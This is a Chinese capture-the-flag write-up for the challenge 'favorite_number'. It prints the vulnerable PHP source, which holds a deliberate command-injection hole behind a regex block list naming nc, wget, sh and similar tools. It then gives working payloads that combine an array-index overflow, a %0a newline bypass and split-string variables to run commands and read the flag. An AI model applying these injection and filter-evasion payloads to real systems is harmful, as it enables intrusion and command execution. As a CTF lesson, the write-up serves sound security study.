攻防世界favorite_number

favorite_number

进入环境得到源码

<?php//php5.5.9$stuff = $_POST["stuff"];$array = ['admin', 'user'];if($stuff === $array && $stuff[0] != 'admin') {    $num= $_POST["num"];    if (preg_match("/^\d+$/im",$num)){        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){            echo "my favorite num is:";            system("echo ".$num);        }else{            echo 'Bonjour!';        }    }} else {    highlight_file(__FILE__);}

题目特意标注出了php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个

审计代码发现，通过POST方式传一个数组，传入的数组的内容必须与array数组内容全等，但这里有个矛盾，需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin，这里就要利用数组溢出漏洞了，使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

 

 

成功绕过接下来我们就要想办法绕过正则表达式了

传入了一个num，并且过滤掉了很多东西，并且经过了两次正则匹配过滤东西，这里我们可以使用%0a绕过匹配，以达到执行指令的效果

 

 成功发现flag,但是这里把flag过滤掉了我们这么绕过

stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b

 

 获得flag